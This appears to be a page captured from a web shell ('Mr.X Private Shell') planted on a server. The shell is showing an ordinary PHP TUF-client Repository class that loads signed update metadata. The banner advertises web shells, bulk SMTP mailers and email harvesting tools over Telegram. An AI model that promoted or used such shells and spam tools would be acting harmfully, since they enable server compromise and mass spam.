__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Tuf\Client;

use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\StreamInterface;
use Tuf\Exception\RepoFileNotFound;
use Tuf\Loader\SizeCheckingLoader;
use Tuf\Metadata\RootMetadata;
use Tuf\Metadata\SnapshotMetadata;
use Tuf\Metadata\TargetsMetadata;
use Tuf\Metadata\TimestampMetadata;

/**
 * Defines a backend to load untrusted TUF metadata objects.
 */
class Repository
{
    /**
     * The maximum number of bytes to download if the remote file size is not
     * known.
     *
     * @var int
     */
    public static int $maxBytes = 100000;

    public function __construct(private SizeCheckingLoader $sizeCheckingLoader)
    {
    }

    /**
     * Loads untrusted root metadata.
     *
     * @param int $version
     *   The version of the root metadata to load.
     *
     * @return \Tuf\Metadata\RootMetadata|null
     *   An instance of \Tuf\Metadata\RootMetadata, or null if the requested
     *   version of the metadata doesn't exist.
     */
    public function getRoot(int $version): ?RootMetadata
    {
        try {
            $data = $this->sizeCheckingLoader->load("$version.root.json", self::$maxBytes)
              ->wait();

            return RootMetadata::createFromJson($data->getContents());
        } catch (RepoFileNotFound) {
            // If the next version of the root metadata doesn't exist, it's not
            // an error -- it just means there's nothing newer. So we can safely
            // return null.
            return null;
        }
    }

    /**
     * Loads untrusted timestamp metadata.
     *
     * @return \Tuf\Metadata\TimestampMetadata
     *   The untrusted timestamp metadata.
     */
    public function getTimestamp(): TimestampMetadata
    {
        $data = $this->sizeCheckingLoader->load('timestamp.json', self::$maxBytes)
          ->wait();

        return TimestampMetadata::createFromJson($data->getContents());
    }

    /**
     * Loads untrusted snapshot metadata.
     *
     * @param int|null $version
     *   The version of the snapshot metadata to load, or null if consistent
     *   snapshots are not used.
     * @param int|null $maxBytes
     *   The maximum number of bytes to download, or null to use
     *   self::$maxBytes.
     *
     * @return \Tuf\Metadata\SnapshotMetadata
     *   The untrusted snapshot metadata.
     */
    public function getSnapshot(?int $version, int $maxBytes = null): SnapshotMetadata
    {
        $name = isset($version) ? "$version.snapshot" : 'snapshot';
        // If a maximum number of bytes was provided, we must download *exactly*
        // that number of bytes.
        $data = $this->sizeCheckingLoader->load("$name.json", $maxBytes ?? self::$maxBytes, isset($maxBytes))
          ->wait();

        return SnapshotMetadata::createFromJson($data->getContents());
    }

    /**
     * Loads untrusted targets metadata for a specific role.
     *
     * @param int|null $version
     *   The version of the targets metadata to load, or null if consistent
     *   snapshots are not used.
     * @param string $role
     *   The role to load. Defaults to `targets`, but could be the name of any
     *   delegated role.
     * @param int|null $maxBytes
     *   The maximum number of bytes to download, or null to use
     *   self::$maxBytes.
     *
     * @return \GuzzleHttp\Promise\PromiseInterface<\Tuf\Metadata\TargetsMetadata>
     *   A promise wrapping the untrusted targets metadata.
     */
    public function getTargets(?int $version, string $role = 'targets', int $maxBytes = null): PromiseInterface
    {
        $name = isset($version) ? "$version.$role" : $role;
        // If a maximum number of bytes was provided, we must download *exactly*
        // that number of bytes.
        return $this->sizeCheckingLoader->load("$name.json", $maxBytes ?? self::$maxBytes, isset($maxBytes))
          ->then(function (StreamInterface $data) use ($role) {
              return TargetsMetadata::createFromJson($data->getContents(), $role);
          });
    }
}

Filemanager

Name Type Size Permission Actions
DurableStorage Folder 0775
Repository.php File 3.94 KB 0664
SignatureVerifier.php File 4.92 KB 0664
Updater.php File 17.54 KB 0664
Filemanager